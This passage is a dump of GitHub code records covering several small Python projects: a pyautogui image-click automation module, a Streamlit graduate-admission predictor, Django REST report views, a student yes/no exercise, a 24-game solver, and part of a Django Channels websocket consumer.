result_type[\"recognition_gray_scale\"] = type(input_dictionary[\"recognition_gray_scale\"])\n        return result_type\n    \n\n    def CheckSetting(self,recognition_information = None):\n        result_type = {}\n        if(recognition_information==None):\n            recognition_information = self.setting\n        result_type[\"action\"] = type(recognition_information.action)\n        result_type[\"end_condition\"] = type(recognition_information.end_condition)\n        result_type[\"end_action\"] = type(recognition_information.end_action)\n        result_type[\"execute_number\"] = type(recognition_information.execute_number)\n        result_type[\"retry_number\"] = type(recognition_information.retry_number)\n        result_type[\"image_path\"] = type(recognition_information.image_path)\n        result_type[\"interval_time\"] = type(recognition_information.interval_time)\n        result_type[\"recognition_confidence\"] = type(recognition_information.recognition_confidence)\n        result_type[\"recognition_gray_scale\"] = type(recognition_information.recognition_gray_scale)\n        return result_type\n\n    action : ACTION \n    end_condition : RESULT \n    end_action : END_ACTION\n    execute_number : int = 0\n    retry_number : int = 0 \n    image_path : str = \"\"\n    interval_time : float = 0.1\n    recognition_confidence : float = 1.0\n    recognition_gray_scale : float = 0\n    x_offset_dictionary : dict = None\n    y_offset_dictionary : dict = None\n            \n\n    def Execute(self):\n        Images_Action_ByInformation(self.setting)\n\n\ndef Image_SearchAndXY(image_path, recognition_gray_scale, recognition_confidence):\n    result = pyautogui.locateCenterOnScreen(image_path, grayscale=recognition_gray_scale, confidence=recognition_confidence)\n    x, y = result\n    return x, y\n\n# Imageを探してMouse pointerを移動させる\ndef Image_SearchAndMove(image_path, x_offset_dictionary, y_offset_dictionary, recognition_gray_scale, recognition_confidence):\n    try:\n        result = pyautogui.locateCenterOnScreen(image_path, grayscale=recognition_gray_scale, confidence=recognition_confidence)\n        if result is not None:\n            x,y=result\n            if x_offset_dictionary is not None:\n                if image_path in x_offset_dictionary:\n                    x_offset = int(x_offset_dictionary[image_path])\n                    x = x + x_offset\n                    print(image_path + \"offset_x:\" + str(x_offset))\n            if y_offset_dictionary is not None:\n                if image_path in y_offset_dictionary:\n                    y_offset = int(y_offset_dictionary[image_path])\n                    y = y + y_offset\n                    print(image_path + \"offset_y:\" + str(y_offset))\n            pyautogui.moveTo(x, y)\n            # Logを貯めて強制終了時にFileを書き込む。\n            Log.Log_MessageAdd(message_list, \"ImageSearchAndMove(\" + image_path + \")\" + str(x)+\",\"+str(y))\n            # 毎回LogをFileni書き込む記述（遅いので没）\n            #Write_Message(logfile_path , Log_MessageFormat(message))\n            return True\n        else:\n            import traceback\n            traceback.print_exc()\n            print(\"error:can not find image on screen \" + image_path)\n            return False\n    except:\n        import traceback\n        traceback.print_exc()\n        Log.Log_MessageAdd(message_list, \"unexplained error:ImageSearchAndMove(\" + image_path + \")\")\n        print(\"x_offset_dictionary\")\n        print(x_offset_dictionary)\n        print(\"y_offset_dictionary\")\n        print(y_offset_dictionary)\n        print(\"recognition_gray_scale\")\n        print(recognition_gray_scale)\n        print(\"recognition_confidence\")\n        print(recognition_confidence)\n\n        return False\n        exit\n\n# Mouse Action\ndef Action_Execute(action):\n    if action == ACTION.CLICK:\n        pyautogui.click()\n        pyautogui.mouseUp()\n    elif action == ACTION.DOUBLE_CLICK:\n        pyautogui.doubleClick()\n        pyautogui.mouseUp()\n\n# 条件判断回路\ndef Condition_Judge(condition1, condition2,details={}):\n    # 条件と結果が同じならOK\n    if condition1 == condition2:\n        result = True\n    # 条件がOKで結果がALL_OKならOK\n    elif condition1 == \"OK\" and condition2 == \"ALL_OK\":\n        result =  True\n    # 条件がOKで結果がALL_OKならOK\n    elif condition1 == RESULT.OK and condition2 == RESULT.ALL_OK:\n        result =  True\n    # それ以外はFalse\n    else:\n        result =  False\n    if isinstance(condition1,str):\n        detail_dictionary = {\n            \"result\" : result,\n            \"condition1\": condition1,\n            \"condition2\": condition2\n        }\n    else:\n        detail_dictionary = {\n            \"result\" : result,\n            \"condition1\": RESULT(condition1).name,\n            \"condition1_type\":str(type(condition1)),\n            \"condition2\":RESULT(condition2).name,\n            \"condition2_type\":str(type(condition2))\n        }\n    details.update(detail_dictionary)\n    return result\n\nImages_Action_Result = {}\ndef Images_Action_ResultInit(dictionary , detect = 0 , undetect = 0 , total_detect = 0 , total_undetect = 0):\n    for dictionary_key in dictionary.keys():\n        dictionary[dictionary_key][\"detect\"]  = detect\n        dictionary[dictionary_key][\"undetect\"] = undetect\n        #print(\"Images_Action_ResultInit:\"+dictionary_key)\n        if dictionary_key not in dictionary:\n            dictionary[dictionary_key][\"total_detect\"] = total_detect\n            dictionary[dictionary_key][\"total_undetect\"] = total_undetect\n    #print(dictionary)\n    return dictionary\n\n\ndef rate(value,*args):\n    total=value+sum(args)\n    if 0 != total:\n        return float(value)/float(total)\n    else:\n        return 0 \n    \ndef Images_Action_ResultSet(dictionary,dictionary_key,detect,undetect):\n    if dictionary_key in dictionary:\n        dictionary[dictionary_key][\"detect\"]  += detect\n        dictionary[dictionary_key][\"undetect\"] += undetect\n        dictionary[dictionary_key][\"total_detect\"]  += detect\n        dictionary[dictionary_key][\"total_undetect\"] += undetect\n        \n        dictionary[dictionary_key][\"detect_rate\"] = rate(dictionary[dictionary_key][\"detect\"] , dictionary[dictionary_key][\"undetect\"])        \n        \n        dictionary[dictionary_key][\"total_detect_rate\"] = rate(dictionary[dictionary_key][\"total_detect\"] , dictionary[dictionary_key][\"total_undetect\"])\n        dictionary[dictionary_key][\"date\"] = datetime.datetime.now().strftime ( '%Y/%m/%d(%A) %H:%M' )\n    else:\n        dictionary[dictionary_key] = {\n            \"detect\" : detect,\n            \"undetect\" : undetect,\n            \"detect_rate\" : rate(detect,undetect),            \n            \"total_detect\" :detect,\n            \"total_undetect\" : undetect,\n            \"total_detect_rate\" :  rate(detect,undetect)   \n        }\n    return dictionary\n\ndef InformationToString():\n    global Images_Action_Result\n    if Images_Action_Result is None:\n        return \"\"\n    else:\n        return str(Images_Action_Result).encode().decode(\"unicode-escape\")\n        #return str(Images_Action_Result).encode().decode(\"string-escape\")\n    \ndef WriteInformationToJson(file_path):\n    global Images_Action_Result    \n    JSON_Control.WriteDictionary(file_path,Images_Action_Result)\n\ndef ReadInformationFromJson(file_path):\n    global Images_Action_Result\n    try:\n        Images_Action_Result = JSON_Control.ReadDictionary(file_path,Images_Action_Result)\n    except:\n        Images_Action_Result={}\n        Log.Log_MessageAdd(message_list, \"[ERROR]ReadInformationFromJson:Json Read Error\")\n    return Images_Action_Result\n\n# Folder内のImageを探してMouse pointerを移動し、行動する\ndef Images_Action(action, end_action, end_condition, images_path, x_offset_dictionary, y_offset_dictionary, recognition_gray_scale, recognition_confidence, interval_time):\n    all_ok = True\n    all_ng = True\n    result = False\n    global Images_Action_Result\n\n    for image_path in glob.glob(images_path):\n        # 画像検索とPointer移動\n        end_result = Image_SearchAndMove(image_path, x_offset_dictionary, y_offset_dictionary, recognition_gray_scale, recognition_confidence)\n        if end_result:\n            Images_Action_Result=Images_Action_ResultSet(Images_Action_Result,image_path,1,0)        \n            Images_Action_Result=Images_Action_ResultSet(Images_Action_Result,\"all_image\",1,0)        \n            all_ng = False\n            Action_Execute(action)\n            time.sleep(interval_time)\n\n            # 条件成立での中止処理\n            if end_action == END_ACTION.BREAK and end_condition == RESULT.OK:\n                Log.Log_MessageAdd(message_list, \"Images_Action:Result_OK Break(\" + str(action) + \")\")\n                return RESULT.OK\n        else:\n            Images_Action_Result=Images_Action_ResultSet(Images_Action_Result,image_path,0,1)        \n            Images_Action_Result=Images_Action_ResultSet(Images_Action_Result,\"all_image\",0,1)        \n            all_ok = False\n            # 条件成立での中止処理\n            if end_action == END_ACTION.BREAK and end_condition == RESULT.NG:\n                Log.Log_MessageAdd(message_list, \"Images_Action:Result_NG Break(\" + str(action) + \")\")\n                return RESULT.NG\n    if all_ok == True:\n        return RESULT.ALL_OK\n    elif all_ng == True:\n        return RESULT.NG\n    else:\n        return RESULT.OK\n\n# Images_Actionを繰り返し実行する。\ndef Images_Action_ByInformation(recognition_information, x_offset_dictionary=None, y_offset_dictionary=None):\n    all_ok = True\n    all_ng = True\n    end_condition = RESULT.NG\n    end_condition_memory = RESULT.NG\n    if x_offset_dictionary is None:\n         x_offset_dictionary = recognition_information.x_offset_dictionary \n    if y_offset_dictionary is None:\n         y_offset_dictionary = recognition_information.y_offset_dictionary\n\n    continue_flag = True\n    loop01 = 0\n\n    while continue_flag == True:\n        print(\"loop\"+str(loop01))\n        # 指定回数実行する。\n        print(\"###Images_Action_ByInformation####\")\n        print(recognition_information.execute_number)\n        for loop02 in range(recognition_information.execute_number):\n            Log.Log_MessageAdd(message_list, \"Execute_Number:\"+str(loop02))\n            end_result = Images_Action(recognition_information.action, recognition_information.end_action, recognition_information.end_condition, recognition_information.image_path,x_offset_dictionary, y_offset_dictionary, recognition_information.recognition_gray_scale, recognition_information.recognition_confidence, recognition_information.interval_time)\n            if end_result != RESULT.NG:\n                all_ng = False\n                print(\"Continue:loop\" + RESULT(end_result).name + \"/\"+str(recognition_information.execute_number))\n            else:\n                all_ok = False\n                print(\"RESULT.NG:loop\" + str(loop02) + \"/\" + str(recognition_information.execute_number))\n            # 条件成立での中止処理\n            if recognition_information.end_action == END_ACTION.BREAK and recognition_information.end_condition == end_result:\n                Log.Log_MessageAdd(message_list, \"BREAK:retry\"+str(loop01))\n                break\n            # 条件成立での中止処理\n            if recognition_information.end_action == END_ACTION.FOLDER_END_BREAK and recognition_information.end_condition == end_result:\n                Log.Log_MessageAdd(message_list, \"FOLDER_END_BREAK:retry\"+str(loop01))\n                break\n        if Condition_Judge(recognition_information.end_condition, end_result) == False and loop01 < recognition_information.retry_number:\n            Log.Log_MessageAdd(message_list, \"False and retry:retry\"+str(loop01))\n            continue_flag = True\n        else:\n            Log.Log_MessageAdd(message_list, \"EndResult:retry\"+str(loop01))\n            continue_flag = False\n        loop01 = loop01 + 1\n    Log.Write_MessageList(logfile_path, message_list)\n    message_list.clear()\n    if all_ok == True:\n        return RESULT.ALL_OK\n    elif all_ng == True:\n        return RESULT.NG\n    else:\n        return RESULT.OK\n\ndef Images_Action_BySettingsDictionary(setting = {}):\n    setting=RecognitionInformation()\n    if setting == {} :\n        setting.Get_SettingsDictionary(setting)\n\n\n# 条件が成立した時に繰り返し実行する。\ndef Images_ConditionCheckAndAction(name, condition, action_recognition_information, x_offset_dictionary, y_offset_dictionary):\n    action_result = RESULT.NG\n    # 条件を比較\n    action_condition = False\n    if action_recognition_information.end_condition == condition:\n        action_condition = True\n    elif action_recognition_information.end_condition == RESULT.ALL_OK:\n        if condition == RESULT.OK:\n            action_condition = True\n    # 条件を比較して成立したら実行\n    if action_condition == True:\n        Log.Log_MessageAdd(message_list, \"Images_ConditionCheckAndAction:実行条件成立:\" + name)\n        action_result = Images_Action_ByInformation(action_recognition_information, x_offset_dictionary, y_offset_dictionary)\n    return action_result\n\n\ndef Image_AroundMouse(file_path, flag_overwrite=True, wide=0, height=0, dupplicate_format=\"{}({:0=3}){}\"):\n    x, y = pyautogui.position()\n    Image_AroundPoint(file_path, flag_overwrite, x, y, wide, height, dupplicate_format)\n\ndef Image_AroundPoint(file_path, flag_overwrite=True, x=0, y=0, wide=0, height=0, dupplicate_format=\"{}({:0=3}){}\"):\n    if flag_overwrite == False:\n        path = Rename.duplicate_rename(file_path, dupplicate_format)\n    else:\n        path = file_path\n    if wide == 0 or height == 0:\n        PIL.ImageGrab.grab().save(path)\n    else:\n        bbox_w = wide\n        bbox_h = height\n        bbox_x = max(0, x - bbox_w/2)\n        bbox_y = max(0, y - bbox_h/2)\n        PIL.ImageGrab.grab(bbox=(bbox_x,  bbox_y, bbox_x +\n                           bbox_w, bbox_y + bbox_h)).save(path)\n","repo_name":"kouzimiso/study","sub_path":"Project/AutoClick/Sources/Common/auto.py","file_name":"auto.py","file_ext":"py","file_size_in_byte":22504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14209750541","text":"import pandas as pd\r\nimport numpy as np\r\nimport pickle\r\nimport streamlit as st\r\nfrom PIL import Image\r\n\r\n# loading in the model to predict on the data\r\npickle_in = open('classifier.pkl', 'rb')\r\nclassifier = pickle.load(pickle_in)\r\n\r\n\r\ndef welcome():\r\n    return 'welcome all'\r\n\r\n\r\n# defining the function which will make the prediction using\r\n# the data which the user inputs\r\ndef prediction(gre, gpa, rank):\r\n    rank_1 = rank_2 = rank_3 = rank_4 = 0\r\n    if rank == 1:\r\n        rank_1 = 1\r\n    elif rank == 2:\r\n        rank_2 = 1\r\n    elif rank == 3:\r\n        rank_3 = 1\r\n    elif rank == 4:\r\n        rank_4 = 1\r\n\r\n    prediction = classifier.predict(\r\n        [[gre, gpa, rank_1, rank_2, rank_3, rank_4]])\r\n    print(prediction)\r\n    return prediction\r\n\r\n\r\n# this is the main function in which we define our webpage\r\ndef main():\r\n    # giving the webpage a title\r\n    st.title(\"Student Admission Prediction\")\r\n\r\n    st.markdown(\r\n        f\"\"\"\r\n             <style>\r\n             .stApp {{\r\n                 background: url(\"https://heiapply.com/wp-content/uploads/2017/06/online-admissions-universities_video_background-1024x467.jpg\");\r\n                 background-size: cover\r\n             }}\r\n             </style>\r\n             \"\"\",\r\n        unsafe_allow_html=True\r\n    )\r\n\r\n    # Set the button color to gold\r\n    st.markdown(\r\n        \"\"\"\r\n        <style>\r\n        .stButton button {\r\n            background-color: gold;\r\n        }\r\n        </style>\r\n        \"\"\",\r\n        unsafe_allow_html=True\r\n    )\r\n\r\n    # here we define some of the front end elements of the web page like\r\n    # the font and background color, the padding and the text to be displayed\r\n    html_temp = \"\"\"\r\n\t<div style =\"background-color:yellow;padding:13px\">\r\n\t<h1 style =\"color:black;text-align:center;\">Streamlit Student Admission Classifier ML App </h1>\r\n\t</div>\r\n\t\"\"\"\r\n\r\n    # this line allows us to display the front end aspects we have\r\n    # defined in the above code\r\n    st.markdown(html_temp, unsafe_allow_html=True)\r\n\r\n    # the following lines create text boxes in which the user can enter\r\n    # the data required to make the prediction\r\n    gre = st.number_input(\"**GRE**:\", min_value=200, max_value=990, step=1, help=\"Enter a value between 200 and 990\")\r\n\r\n    gpa = st.slider('**GPA**:', min_value=0.0, max_value=4.0, value=2.0, step=0.01)\r\n\r\n    rank = st.radio('Choose **Institution Rank**:', options=('1', '2', '3', '4'))\r\n    st.write('Please note that institutions with a rank of 1 have the highest prestige, while those with a rank of 4 have the lowest.')\r\n\r\n    result = \"The output will be displayed here.\"\r\n\r\n    # Create the prediction button with a bright yellow color\r\n    prediction_button = st.button(\"Predict\", key=\"predict\", help=\"Click this button to make a prediction\",\r\n                                  on_click=None, args=None, kwargs=None,\r\n                                  )\r\n\r\n    # the below line ensures that when the button called 'Predict' is clicked,\r\n    # the prediction function defined above is called to make the prediction\r\n    # and store it in the variable result\r\n    # Change the background color of the success message to green\r\n\r\n    if prediction_button:\r\n        result = prediction(gre, gpa, rank)\r\n        if result:\r\n            result = \"Congratulations! You are admitted to graduate school.\"\r\n        else:\r\n            result = \"Unfortunately, you are not admitted to graduate school.\"\r\n    st.success(result)\r\n\r\n    st.markdown(\r\n        \"\"\"<style>\r\n            .css-2trqyj {\r\n                background-color: \"#0083B8\";\r\n            }\r\n        </style>\"\"\",\r\n        unsafe_allow_html=True,\r\n    )\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"chacha-max/my-ml-webapp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37396584835","text":"\"\"\"Reports views.\"\"\"\n\n# Django REST Framework\nfrom rest_framework import viewsets, mixins, status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\n\n# Serializers\nfrom cassie.reports.serializers import (\n  ReportModelSerializer,\n  CreateReportSerializer\n)\n\n# Permissions\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom cassie.reports.permissions import IsAccountOwnerOrAdminUser\n\n# Models\nfrom cassie.reports.models import Report\nfrom cassie.accounts.models import Account\n\nclass CreateReportViewSet(viewsets.GenericViewSet):\n  \"\"\"Create Report viewset.\n    Handle creation a report for an account.\n  \"\"\"\n\n  permission_classes = [AllowAny]\n\n  @action(detail=False, methods=['POST'])\n  def send(self, request):\n    \"\"\"Create report.\"\"\"\n    serializer = CreateReportSerializer(data=request.data)\n    serializer.is_valid(raise_exception=True)\n    serializer.save()\n    data = { 'message': 'Report sended success' }\n    return Response(data, status=status.HTTP_201_CREATED)\n\nclass ReportsViewSet(mixins.RetrieveModelMixin,\n                    viewsets.GenericViewSet):\n  \"\"\"Report view set.\n    Handle list and retrieve reports only owners or\n    admin users.\n  \"\"\"\n\n  queryset = Report.objects.all()\n  lookup_url_kwarg = 'account'\n  serializer_class = ReportModelSerializer\n  permission_classes = [IsAuthenticated, IsAccountOwnerOrAdminUser]\n  \n  def retrieve(self, request, *args, **kwargs):\n    try:\n      queryset = Report.objects.filter(\n        account=Account.objects.get(\n          account_number=kwargs['account']\n        )\n      )\n      data = ReportModelSerializer(queryset, many=True).data\n    except:\n      return Response({ 'detail': 'Not found' }, status=status.HTTP_404_NOT_FOUND)\n    return Response(data, status=status.HTTP_200_OK)\n","repo_name":"sgg10/cassie_backend","sub_path":"cassie/reports/views/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33556488787","text":"def y_n_inputValidation(userInput):\n    while True:\n        if userInput == 'y' or userInput == 'n' or userInput == 'Y' or userInput == 'N':\n            break\n        else:\n            userInput = input('Please answer the question again using only \\\"y\\\" or \\\"n\\\": ')\n            continue\n    return userInput.lower\n\ndef calculateTime():\n    \n    # This first line is provided for you\n    monkey_one = input(\"Is the first monkey smiling? (y/n): \")\n    m1 = y_n_inputValidation(monkey_one)\n    monkey_two = input(\"Is the second monkey smiling? (y/n): \")\n    m2 = y_n_inputValidation(monkey_two)\n    if m1 != m2: print('Yay! We\\'re going to have a good day!')\n    else: print('Uh Oh! We\\'re in trouble!')\n    # end assignment\n\n## If you want to test locally run > python monkeyCalculator.py\n\nif __name__ == \"__main__\":\n    calculateTime()\n    ","repo_name":"Code-VU/04_9_2-monkeys-TheTreeCode","sub_path":"monkeyCalculator.py","file_name":"monkeyCalculator.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9217242353","text":"from __future__ import division\nclass Node():\n    def __init__(self,child0=None,child1=None,operator=None,value=None):\n        if not value is None:\n            self.value = value\n            self.left = None\n            self.right = None\n        else:\n            if not child0.value is None and not child1.value is None:\n                self.left = child0 if child0.value > child1.value else child1\n                self.right = child1 if child0.value > child1.value else child0\n                self.operator = operator\n                opMap = {\n                    'plu':self.left.value+self.right.value,\n                    'min':self.left.value-self.right.value,\n                    'mul':self.left.value*self.right.value,\n                    'div':self.left.value/self.right.value if self.right.value!=0 else None,\n                    'bak':self.right.value/self.left.value if self.left.value!=0 else None\n                }\n                self.value = opMap[operator]\n            else:\n                print('noerror')\n                self.value=None\ndef get_raw():\n    while True:\n        rawstr = raw_input('INPUT YOUR FOUR NUMBERS, DIVIDED BY \\\",\\\":: ')\n        li = rawstr.split(',')\n        result = []\n        if len(li)!=4:\n            print('#'*4+'THIS PROGRAM TAKES EXACTLY 4 INTEGERS')\n        else:\n            for item in li:\n                try:\n                    if int(item)>=1:\n                        result.append(int(item))\n                    else:\n                        print('#'*4+'ALL INPUTS HAS TO BE >=1')\n                except ValueError as e:\n                    print('#'*4+'ALL INPUTS SHOULD BE INTERGERS')\n                    print(e)\n            if len(result)==4:\n                return result\ndef sep(nums):\n    #nums = get_raw()\n    result = []\n    for i in range(1,4):\n        temp_nums = list(nums)\n        a = temp_nums[0]\n        b = temp_nums[i]\n        first = [a,b]\n        temp_nums.remove(a)\n        temp_nums.remove(b)\n        rest = temp_nums\n        result.append([first,rest])\n    temp_result = []\n    for group in result:\n        for item in group:\n            temp_group = list(group)\n            temp = []\n            for num in item:\n                temp.append([num])\n            temp_group.remove(item)\n            temp.append(temp_group[0])\n            temp_result.append(temp)\n    result += temp_result\n    return result\n\ndef check():\n    grouped = sep(get_raw())\n    operators = ['plu','min','mul','div','bak']\n    for group in grouped:\n        if len(group)==2:\n            for op in operators:\n                node1 = Node(child0=Node(value=group[0][0]),child1=Node(value=group[0][1]),operator=op)\n                for op1 in operators:\n                    node2 = Node(child0=Node(value=group[1][0]),child1=Node(value=group[1][1]),operator=op1)\n                    for op2 in operators:\n                        final = Node(node1,node2,operator=op2)\n                        if final.value > 23.999 and final.value < 24.001:\n                            return \"({0}{1}{2}){3}({4}{5}{6})\".format(\n                                final.left.left.value,\n                                final.left.operator,\n                                final.left.right.value,\n                                final.operator,\n                                final.right.left.value,\n                                final.right.operator,\n                                final.right.right.value,)\n        elif len(group)==3:\n            for op in operators:\n                node1 = Node(child0=Node(value=group[2][0]),child1=Node(value=group[2][1]),operator=op)\n                for i in range(0,2):\n                    node2 = Node(value=group[i][0])\n                    for op1 in operators:\n                        node3 = Node(node1,node2,op1)\n                        node4 = Node(value=group[1][0]) if i==0 else Node(value=group[0][0])\n                        for op2 in operators:\n                            final = Node(node3,node4,operator=op2)\n                            if final.value > 23.999 and final.value < 24.001:\n                                result_str = \"\"\n                                if final.left.left is None:\n                                    result_str+=str(final.left.value)+final.operator\n                                    if final.right.left.left is None:\n                                        result_str+='('+str(final.right.left.value)+final.right.operator\n                                        result_str+='('+str(final.right.right.left.value)+final.right.right.operator+str(final.right.right.right.value)+'))'\n                                    else:\n                                        result_str+='('+str(final.right.left.left.value)+final.right.left.operator+str(final.right.left.right.value)+')'\n                                        result_str+=final.right.operator+str(final.right.right.value)\n                                elif final.right.left is None:\n                                    result_str+=str(final.left.left.value)+final.left.operator\n                                    result_str+='('+str(final.left.right.left.value)+final.left.right.operator+str(final.left.right.right.value)+')'\n                                    result_str+=final.operator+str(final.right.value)\n                                else:\n                                    result_str+='('+str(final.left.left.left.value)+final.left.left.operator+str(final.left.left.right.value)+')'\n                                    result_str+=final.left.operator+str(final.left.right.value)\n                                    result_str+=final.operator+str(final.right.value)\n                                return result_str\n    return 'No Solution Found'\nif __name__ == '__main__':\n    print(check())","repo_name":"harisque/evolution","sub_path":"twentyfour/ttf.py","file_name":"ttf.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38501144565","text":"import os\nimport types\nimport traceback\nfrom django.conf import settings\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.files.uploadhandler import TemporaryFileUploadHandler\nfrom django.core.serializers.json import Serializer\nfrom django.utils.datastructures import MultiValueDict\nfrom django.utils.translation import gettext as _f\nfrom django.apps import apps\nfrom django.db.models import FileField\nfrom channels.generic.websocket import WebsocketConsumer\n\nfrom asgiref.sync import async_to_sync\nimport importlib\nimport json\n\nfrom sdc_core.sdc_extentions.models import SdcModel\nfrom sdc_core.sdc_extentions.response import sdc_link_factory, sdc_link_obj_factory\nfrom sdc_core.sdc_extentions.import_manager import import_function\nfrom sdc_core.sdc_extentions.views import SdcAccessMixin\n\nALL_MODELS = {\n    model.__name__: model for model in apps.get_models() if hasattr(model, '__is_sdc_model__')\n}\n\nimportlist = []\n\n\nclass MsgManager:\n    _messages = None\n    _msg_filepath = os.path.abspath(settings.BASE_DIR / 'templates/sdc_strings.json')\n\n    @property\n    def messages(self):\n        if self._messages is None:\n            self._messages = {}\n            if os.path.exists(self._msg_filepath):\n                with open(self._msg_filepath, 'r') as f:\n                    self._messages = json.loads(f.read())\n            else:\n                for model in ALL_MODELS.keys():\n                    self._messages[model] = self._get_empty_msg(model)\n                self._write_to_file()\n\n        return self._messages\n\n    def get_msg(self, instance, event_type):\n        model = instance.__class__.__name__\n        if model not in self.messages:\n            self._messages[model] = self._get_empty_msg(model)\n            self._write_to_file()\n        return {key: _f(text).format(instance.__str__()) for key, text in\n                self._messages[model].get(event_type, {}).items()}\n\n    def _write_to_file(self):\n        if settings.DEBUG:\n            with open(self._msg_filepath, 'w+') as f:\n                f.write(json.dumps(self._messages))\n\n    def _get_empty_msg(self, model):\n        return {'save': {'header': f'{model} saved', 'msg': '{0} was successfully saved'},\n                'on_change': {'header': f'{model} was changed', 'msg': '{0} was changed'},\n                'create': {'header': f'{model} created', 'msg': '{0} was successfully created'},\n                'delete': {'header': f'{model} was deleted', 'msg': '{0} was changed'}}\n\n\nclass ConsumerSerializer(Serializer):\n\n    def handle_m2m_field(self, obj, field):\n        super().handle_m2m_field(obj, field)\n        # self._current[field.name] = {\n        #    'pk': self._current[field.name],\n        #    'model': field.related_model.__name__,\n        #    '__is_sdc_model__': True\n        # }\n\n    def _value_from_field(self, obj, field):\n        # if hasattr(field, 'foreign_related_fields') and ALL_MODELS.get(\n        #        field.related_model.__name__) == field.related_model:\n        #    return {'pk': super()._value_from_field(obj, field), 'model': field.related_model.__name__,\n        #            '__is_sdc_model__': True}\n        if issubclass(field.__class__, FileField):\n            return field.value_from_object(obj).url\n        return super()._value_from_field(obj, field)\n\n\nclass SDCConsumer(WebsocketConsumer):\n\n    def connect(self):\n        self.scope[\"session\"][\"channel_name\"] = self.channel_name\n        self.scope[\"session\"].save()\n        self.accept()\n        self.group_list = []\n        self.queryset = None\n\n    def disconnect(self, close_code):\n        for group in self.group_list:\n            async_to_sync(self.channel_layer.group_discard)(\n                group,\n                self.channel_name\n            )\n\n    def state_sdc_event(self, event):\n        self.send(text_data=json.dumps({\n            'type': 'sdc_event',\n            'event': event.get('event', False),\n            'msg': event.get('msg', False),\n            'header': event.get('header', False),\n            'payload': event.get('payload', False),\n            'is_error': False\n        }))\n\n    def state_redirect(self, event):\n        if 'controller' in event:\n            event['link'] = sdc_link_factory(event.get('controller'), event.get('args'))\n\n        self.send(text_data=json.dumps({\n            'type': 'sdc_redirect',\n            'msg': event.get('msg', False),\n            'header': event.get('header', False),\n            'link': sdc_link_obj_factory(event.get('link', False)),\n            'is_error': False\n        }))\n\n    def state_error(self, event, id=None):\n        self.send(text_data=json.dumps({\n            'type': 'error',\n            'id': id,\n            'is_error': True,\n            'msg': event.get('msg', ''),\n            'header': event.get('header', ''),\n        }))\n\n    @staticmethod\n    def to_camel_case(snake_str):\n        components = snake_str.split('-')\n        # We capitalize the first letter of each component except the first one\n        # with the 'title' method and join them together.\n        return ''.join(x.title() for x in components)\n\n    def receive(self, text_data=None, bytes_data=None):\n        json_data = {}\n        try:\n            json_data = json.loads(text_data)\n            if json_data['event'] == 'sdc_call':\n                controller_name = self.to_camel_case(json_data['controller'])\n                controller = import_function(\"%s.sdc_views.%s\" % (json_data['app'], controller_name))\n                c_instance = controller()\n                if isinstance(c_instance, SdcAccessMixin):\n                    if not c_instance.check_requirements(self.scope['user']):\n                        raise PermissionDenied()\n                method = getattr(controller(), json_data['function'])\n                return_vals = method(channel=self, **json_data.get('args', {}))\n                return_vals_generator = []\n                if isinstance(return_vals, types.GeneratorType):\n                    return_vals_generator = return_vals\n                    return_vals = next(return_vals, None)\n\n                self.send(text_data=json.dumps({\n                    'id': json_data['id'],\n                    'type': 'sdc_recall',\n                    'data': return_vals,\n                    'is_error': False\n                }))\n                for x in return_vals_generator: pass\n            else:\n                raise ValueError(\"event must be sdc_call\")\n\n        except PermissionDenied:\n            self.state_error({\n                'msg': _f('403 Not allowed!'),\n                'header': _f('Upps!!')\n            }, json_data.get('id'))\n\n        except Exception as e:\n            if settings.DEBUG:\n                extracted_list = traceback.extract_tb(e.__traceback__)\n                traceback.print_tb(e.__traceback__)\n                e_text = [e.__str__()] + [item for item in traceback.StackSummary.from_list(extracted_list).format()]\n            else:\n                e_text = _f('Something went wrong')\n            self.state_error({\n                'msg': e_text,\n                'header': _f('Upps!!')\n            }, json_data.get('id'))\n\n\nclass SDCModelConsumer(WebsocketConsumer):\n    msg_manager = MsgManager()\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(args, kwargs)\n        self.model_name = None\n        self.model = None\n        self.queryset = {}\n        self.model_id_list = []\n        self._upload_handler = {}\n\n    def connect(self):\n\n        self.model_name = self.scope['url_route']['kwargs']['model_name']\n        self.model = ALL_MODELS.get(self.model_name)\n        if self.model is None or not hasattr(self.model, '__is_sdc_model__'):\n            return\n        self.scope[\"session\"][\"channel_name\"] = self.channel_name\n        self.scope[\"session\"].save()\n        self.accept()\n\n    def disconnect(self, close_code):\n        pass\n\n    def on_update(self, data):\n        if data['args']['data'].pk in self.ids:\n            data['args']['data'] = ConsumerSerializer().serialize([data['args']['data']])\n            self.send(text_data=json.dumps(data))\n\n    def on_create(self, data):\n        instance = data['args']['data']\n        try:\n            self._load_model().get(pk=instance.pk)\n            data['args']['data'] = ConsumerSerializer().serialize([instance])\n            self.send(text_data=json.dumps(data))\n        except:\n            pass\n\n    def state_error(self, event):\n        self.send(text_data=json.dumps({\n            'type': event.get('type', 'error'),\n            'is_error': True,\n            'msg': event.get('msg', ''),\n            'event_id': event.get('event_id'),\n            'header': event.get('header', ''),\n        }))\n\n    def receive(self, text_data=None, bytes_data=None):\n        msg_type = 'error'\n        json_data = {}\n        try:\n            json_data = json.loads(text_data)\n            self.scope['request'] = json_data\n            msg_type = json_data.get('event_type', msg_type)\n            self.scope['event_type'] = msg_type\n            event_type = \"%s_%s\" % (json_data['event'], json_data['event_type'])\n            self.queryset = json_data['args'].get('model_query', {})\n            if not self.model.is_authorised(self.scope['user'], msg_type, self.queryset):\n                raise PermissionDenied\n            if event_type == 'model_connect':\n                self._init_connection(json_data)\n            elif event_type == 'model_edit_form':\n                self._load_edit_form(json_data)\n            elif event_type == 'model_create_form':\n                self._load_create_form(json_data)\n      